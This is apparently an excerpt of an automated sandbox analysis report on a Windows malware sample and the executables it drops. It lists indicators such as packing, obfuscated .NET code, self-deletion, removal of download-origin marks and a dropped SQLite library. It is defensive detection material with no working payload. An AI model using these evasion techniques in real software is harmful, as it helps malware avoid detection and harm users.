Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\C26E.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5700:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\7728.exe

Command line argument: \H

Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: H4HU4rg1NM.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: H4HU4rg1NM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: kJC:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp
Source:	Binary string: _tcC:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: "C:\sigut-wo.pdb source: 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\sigut-wo.pdb source: 325D.exe, 325D.exe, 00000016.00000000.394955360.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, 325D.exe, 00000017.00000000.400908625.0000000000401000.00000020.00020000.sdmp, 325D.exe.13.dr
Source:	Binary string: C:\mefalizor\60\zorukuxibu\naritukeyipis\cudoyiyojil82 xero.pdb source: 4D1A.exe, 00000019.00000000.408954549.0000000000401000.00000020.00020000.sdmp, 4D1A.exe.13.dr
Source:	Binary string: C:\gipate\nihidani\92\gape rosoloto50\lav75\zel.pdb source: 7728.exe
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: 7728.exe.13.dr
Source:	Binary string: C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: ?9"C:\doki\lajesoxekejiko.pdb source: H4HU4rg1NM.exe, iudbdfd.13.dr
Source:	Binary string: C:\tozeroc-watege99_zaga\vifalaro.pdb source: 7728.exe, 00000023.00000003.482581258.0000000000DB0000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.575148587.0000000000CB0000.00000040.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Unpacked PE file: 25.2.4D1A.exe.400000.0.unpack .text:ER;.data:W;.fig:W;.hilo:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Unpacked PE file: 35.2.7728.exe.400000.0.unpack .text:ER;.data:W;.huwu:W;.sax:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 30.0.110B.exe.420000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E3634 push es; iretd
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_007397F8 push esi; ret
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00739793 push esi; ret
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401880 push esi; iretd
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402E94 push es; iretd
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402E94 push es; iretd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E3634 push es; iretd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401880 push esi; iretd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402E94 push es; iretd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402E94 push es; iretd
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B3634 push es; iretd
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401880 push esi; iretd
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402E94 push es; iretd
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004139B0 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B6873 pushfd ; ret
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B6841 pushfd ; ret
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B5DE0 pushad ; ret
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B318B push ebx; ret
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F069CF pushfd ; iretd
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F06A43 pushfd ; iretd
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_00F047D0 push 00000028h; retf 0000h
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01944859 push es; ret
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CC103 push E80B905Eh; ret
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CC17B push 1400005Eh; iretd
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CD0EA push esp; iretd
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CCB38 pushad ; retf
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058CCB78 pushfd ; retf
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F2504 push E80F6C5Eh; ret
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F24FC push E810635Eh; retf
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058F714C push cs; ret
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 30_2_004269CF pushfd ; iretd

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_00432AE0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C26E.exe.13.dr

Static PE information: 0xE3096E67 [Thu Sep 14 04:21:59 2090 UTC]

Source: H4HU4rg1NM.exe	Static PE information: section name: .rufewev
Source: H4HU4rg1NM.exe	Static PE information: section name: .cecapu
Source: 7728.exe.13.dr	Static PE information: section name: .huwu
Source: 7728.exe.13.dr	Static PE information: section name: .sax
Source: 8CA5.exe.13.dr	Static PE information: section name: .shared
Source: 325D.exe.13.dr	Static PE information: section name: .pejevu
Source: 325D.exe.13.dr	Static PE information: section name: .dozi
Source: 4D1A.exe.13.dr	Static PE information: section name: .fig
Source: 4D1A.exe.13.dr	Static PE information: section name: .hilo
Source: 56DF.exe.13.dr	Static PE information: section name: .wewex
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name: .f7uSTEx
Source: A87C.exe.13.dr	Static PE information: section name: .adata
Source: iudbdfd.13.dr	Static PE information: section name: .rufewev
Source: iudbdfd.13.dr	Static PE information: section name: .cecapu
Source: sqlite3.dll.25.dr	Static PE information: section name: /4
Source: sqlite3.dll.25.dr	Static PE information: section name: /19
Source: sqlite3.dll.25.dr	Static PE information: section name: /35
Source: sqlite3.dll.25.dr	Static PE information: section name: /51
Source: sqlite3.dll.25.dr	Static PE information: section name: /63
Source: sqlite3.dll.25.dr	Static PE information: section name: /77
Source: sqlite3.dll.25.dr	Static PE information: section name: /89
Source: sqlite3.dll.25.dr	Static PE information: section name: /102
Source: sqlite3.dll.25.dr	Static PE information: section name: /113
Source: sqlite3.dll.25.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.25.dr	Static PE information: section name: /124

Source: initial sample

Static PE information: section where entry point is pointing to: DATA

Source: 110B.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x8ce73
Source: 9B5C.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x8b750
Source: A87C.exe.13.dr	Static PE information: real checksum: 0x375d61 should be: 0x381423
Source: C26E.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x2af42
Source: 56DF.exe.13.dr	Static PE information: real checksum: 0x4d55c should be: 0x6387

Source: initial sample	Static PE information: section name: .text entropy: 6.87603308469
Source: initial sample	Static PE information: section name: .text entropy: 7.79683538387
Source: initial sample	Static PE information: section name: DATA entropy: 7.9969792001
Source: initial sample	Static PE information: section name: .text entropy: 6.87583252941
Source: initial sample	Static PE information: section name: .text entropy: 6.89863439177
Source: initial sample	Static PE information: section name: entropy: 7.99506790301
Source: initial sample	Static PE information: section name: entropy: 7.82703526497
Source: initial sample	Static PE information: section name: entropy: 7.95119860642
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.9974200792
Source: initial sample	Static PE information: section name: .f7uSTEx entropy: 7.91980898395
Source: initial sample	Static PE information: section name: .text entropy: 6.87603308469

Source: 9B5C.exe.13.dr, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'x2edtkdgqcCM9BTWgG9'
Source: 9B5C.exe.13.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'KyMgXHFOND', '.cctor', 'GSyCOj2cheuaRl0Bax', 'rrbeVD6ZpDw6na9J8c', 'J0smSaMe8lMPWRe9Sy', 'Btd50XY8dwYDE1LMUQ'
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'fSQ4S14sW5', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 110B.exe.13.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.2.110B.exe.f00000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 28.0.110B.exe.f00000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 30.0.110B.exe.420000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.110B.exe.420000.5.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 30.0.110B.exe.420000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.110B.exe.420000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'
Source: 30.0.110B.exe.420000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'gJu1vuOsMV', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 30.0.110B.exe.420000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'D4GAbsxtFT', '.cctor', 'PYWC1Vd4G6nANFqse4', 'pJAxuRZqVEV0EDZmSp', 'Ql54pvmHfOuyRwtUOk', 'ISTaDZMy33ci7HGt5t'

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\iudbdfd

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7728.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\iudbdfd	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\110B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\56DF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\325D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9B5C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8CA5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4D1A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C26E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A87C.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\h4hu4rg1nm.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\iudbdfd:Zone.Identifier read attributes | delete

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process information set: NOOPENFILEERRORBOX
